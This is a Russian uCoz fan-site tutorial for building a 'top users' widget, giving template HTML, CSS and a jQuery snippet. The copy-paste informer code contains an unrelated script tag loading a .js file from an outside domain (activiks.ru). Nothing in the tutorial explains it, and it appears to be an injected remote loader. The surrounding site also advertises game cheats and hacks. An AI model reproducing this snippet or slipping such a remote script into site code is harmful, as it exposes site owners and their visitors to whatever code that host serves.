Tоп пользователей с дополнительной информацией V2 - 8 Февраля 2013 - Counter-Strike от NK-GAMES.RU

  • Counter-Strike 1.6
  • Counter-Strike CS:S
  • PhotoShop
  • uCoz
Форма входа
Гость

Новое на форуме
Популярные пользователи
Новые пользователи
Меню сайта
Counter-Strike 1.6
Игры
Мини-чат
Главная » 2013 » Февраль » 8 » Tоп пользователей с дополнительной информацией V2
20:32
Tоп пользователей с дополнительной информацией V2
Всем доброго дня, сегодня мы будем создавать информер топ пользователей по комментариям uCoz, при наведении на которые появляется дополнительная информация о пользователе и всё на css

Шаг 1 - Создаём информер:

Для начала нам следует создать и установить на страницу сайта нужный нам информер пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

удаляем старый код и устанавливаем новый:

Код
<div class="ddm_top_user">
  <a href="$PROFILE_URL$" class="drop_top_user <?if($NUMBER$=10)?>bottom_no<?endif?>" target="_blank" ><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img alt="$USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avoar.jpg<?endif?>"/>
  <strong>$USERNAME$</strong>
  <span>$COM_POSTS$</span>
  </a>

  <div class="ddm_cell_user">
  <span class="ddm_ugol_user"></span>  
  <div class="ddm_content_user">
  <div class="ddm_content_top">
  <strong>$FULL_NAME$</strong>
  <span>ID:$USER_ID$</span>
  </div>
  <ul>
  <li><span>Пол:</span><?if($GENDER$)?>$GENDER$<?else?>----------<?endif?></li>
  <li><span>Ранг:</span><?if($код$)?> $RANK_NAME$<?else?>----------<?endif?></li>
  <li><span>Группа:</span> $GROUP_NAME$</li>
  <li><span>Репутация:</span> $REPUTATION$</li>
  <li><span>Комментариев:</span> $COM_POSTS$</li>
  <li><span>Зарегистрирован:</span> $REG_DATE$</li>
  </ul>
  </div>
  </div>
</div>


А теперь на страницу сайта в нужное место устанавливаем html каркас с информеров:

Код
<div class="top_user">
  <div class="top_user_title">Топ пользователей</div>
  $MYINF_1$  
</div>


Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь когда данное решение почти готово, пропишем ему следующие css стили:

Код
/* Tоп пользователей с дополнительной информацией
------------------------------------------*/
.top_user {
  float:left;
  width:250px;
  background: #fff;
  border-radius:3px;
  border: 1px solid #CAD3DA;
}

.top_user_title {
  font:11px Verdana,Arial,Helvetica, sans-serif;
  text-shadow: 1px 1px 1px #B0431B;
  text-align:right;
  font-weight:700;  
  color:#fff;

  float:left;
  width:232px;
  height:20px;
  background:#e77e57;
  margin: -1px -1px 0px -1px;  
   
  padding: 7px 10px 3px 10px;  
  border-radius:3px 3px 0px 0px;
}

.ddm_top_user {
  float:left;
  display:block;
  position:relative;
}
   
.drop_top_user {
  float:left;
  width:230px;
  font-weight:700;  
  height:25px;
  padding: 5px 10px 5px 10px;  
  border-bottom: 1px solid #CAD3DA;
}

.drop_top_user img {  
  float:left;
  width:25px;
  height:25px;
  margin-right: 10px;
}

.drop_top_user strong {  
  float:left;
  margin-top: 5px;  
}

.drop_top_user span {  
  float:right;
  width:55px;
  height:20px;  
  text-align:right;  
  padding: 5px 0px 0px 5px;  
  border-left: 1px solid #CAD3DA;
  background: url(ico_comment.png) no-repeat left;  
}  

.ddm_top_user:hover{
  background:#F7F9FB;
}

.ddm_cell_user,  
.ddm_ugol_user{
  width:250px;
}  

.ddm_cell_user {
  left:-999em;
  z-index:998;
  margin:0px auto;
  position:absolute;
  border:1px solid #CAD3DA;  
  border-radius:3px;
}  
   
   
.ddm_content_user {  
  color:#777;
  margin:0;
  width:230px;
  padding:5px 10px;
  overflow:hidden;
  background:#fff;
  border-radius:3px;
}  
   
.ddm_top_user:hover .ddm_cell_user{
  top: 0px;  
  right:255px;
  left:auto;  
}  
   
.ddm_ugol_user {  
  height:17px;  
  top: 10px;
  right: -9px;
  position:absolute;  
  background:url(angle_right.png) no-repeat right;  
}

.ddm_content_top {
  float:left;
  width:100%;
  margin-bottom: 10px;
  padding: 0px 0px 5px 0px;  
  border-bottom:1px solid #CAD3DA;  
}  

.ddm_content_top span {
  float:right;
  margin-top:2px;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#999;
}  

.ddm_content_user ul{  
  margin:0;
  padding:0;
  list-style:none;
}  

.ddm_content_user li{  
  float:left;
  width:100%;
  padding: 3px 0px 3px 0px;  
}  

.ddm_content_user li span{  
  float:left;
  width:120px;
}  

.cu_li1 {background:#fff}  
.cu_li2 {background:#F7F9FB;}  

.bottom_no {
  border-bottom:none;  
}


Шаг 3 - Установим JS:

А для того чтобы в появляющейся ячейки с дополнительной информацией пользователя, не пришлось вручную прописывать классы чётным спискам, следует установить вниз страницы перед закрывающим тегом </body> следующий js

Код
<script language="javascript">
  $(document).ready(function() {
  $('.ddm_content_user ul li:odd').addClass('cu_li1');
  $('.ddm_content_user ul li:even').addClass('cu_li2');  
  });  
</script>
Просмотров: 323 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Облако тегов
карт шрифты 9.0.0.722 карты m4a1 ORANGE Графика сборник Server wallhack version 3.0 программы Модели игроков The Игры для Сотика Темы меню cs pack сайта MOD Beretta Сервера для спрайты для cs 1.6 Оружие для CS:S reskin SG552 AK-47 XP: camo v2.1.8 deathrun Tool studio Читы для CS:S чит null RES текста voice Android Модели админов для CS:S Шаблоны для DLE сервер видео Games TwistedBrush групп java игры период V2 апрель knife из Софт для CS 1.6 Photoshop Zombie Point game карты для cs 1.6 USP for ZeRko Плагин 2.60.551.1 Готовые сервера CS 1.6 Кисти КС Читы для Point Blank scope модели c4 для cs 1.6 Counter-Strike clock Спрайты Steam боевики 2.0 dle Готовый Whizz читера AUG Мы Программа TrafficMonitor модели оружия time скачать Cell: hd Скачать Action Кнопки форума Green admin Мега Megapack Final 1.6 звуки model Public By and Антивирусы Скачать: снайперские прицелы макет Программы для CS 1.6 New шаблоны ucoz Спреи для CS:S RealBot css Strike Kaspersky cs Edition Звуки для CS:S gsg9 Читы для cs 1.6 Фон меню для CS 1.6 меню красивый Hack Античиты Alien 2011) русификатор Снайп. прицелы Urban Removal Colt M4A1 Карта плагины Desert Шаблоны для Cs иконки Bullet сборка Модели Оружия cs 1.6 Ware GUI rus AIMP2 Blue Скачать чит ultimate мультимедия шаблона Иконки Радио для CS 1.6 на 2010 Шаблоны форумов Отличный Played Conviction модель шаблон With Java Sig За моды для cs 1.6 Counter beta моды Все для сервера для CS:S pro noob Muzzleflash ucoz Laser Splinter Counter Strike 1.6 Карты для CS:S Glock 18 Системные программы C4 Bomb psd форума Blank патч Icon Black шрифт Рип Иконки групп Интернет программы gloves Нож ( Knife ) Готовые сервера Темы для виндовс AWP of играли Модели для CS:S боты virus 2006-2010 windows (2010) CS:S игр build читы для cs work WH map читы Sound темы от лучшее 18.04 Прочие программы под Рендеры готовые сервера для cs 1.6 Пак плагины для cs 1.6
Сервер
Поиск
Система uCoz
PhotoShop
CS:S
Фильмы
Статистика
Зарег. на сайте:
Всего: 3268
Новых за месяц: 1
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов: 1
Зам.Администрации:
Г.Модераторов:
Модераторов: 0
Дизайнеров: 0
Журналистов: 0
Файловиков: 2
VIP: 1
Обычных: 3257
Друзья: 0
Проверенных: 7
Забаненых: 0
Парней: 3169
Девушек: 99
Онлайн всего: 1
Гостей: 1
Пользователей: 0




Мы рады приветствовать вас на нашем портале, посвящённом онлайн шутеру ставшим популярным во всём мире Counter-Strike 1.6. Если вам нужны различные модели игроков, плагины на ваш сервер и многое другое для Counter-Strike 1.6 и Counter-Strike Source, то вы попали туда, где всё это есть. У нас вы найдёте Читы для CS 1.6, Читы и хаки Point Blank, Модели игроков для Counter-Strike, Плагины amxx для сервера в Cs и многое другое для Counter-Strike. Здесь вы можете найти всё для Point Blank. Это Скрипты, Хаки, WH, Speedhack для Point Blank. Мы надеемся что вы останетесь на www.NK-GAMES.ru надолго.

Администрация не несёт ответственности за содержащие файлы на данном портале.
Дизайн, который стоит на нашем сайте полностью принадлежит нам
© 2011-2019 NK-GAMES.RU